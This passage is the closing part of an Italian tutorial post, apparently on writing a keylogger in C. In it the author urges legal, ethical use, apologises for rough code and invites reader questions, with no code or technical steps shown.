E poi si ricomincia il ciclo infinito. Il funzionamento e la creazione di un Keylogger è quindi molto più semplice di quanto si possa pensare. Sta poi alla singola persona migliorarlo e sopratutto utilizzarlo nel modo giusto. Utilizzarlo per fare cracking oltre a essere illegale è anche un affronto al mondo dell’Hacking “sincero”. Consiglio quindi fortemente prima di fare una scelta sbagliata di ragionare bene sulle possibile conseguenze.
Non essendo il C il mio forte, molto probabilmente molte parti di codice avrebbero potuto essere fatte meglio e mi scuso con le persone che rabbrivideranno vedendo certe cose (spero di no!). Detto questo, spero di essere stato chiaro e buon programming! Se avete domande non esitate!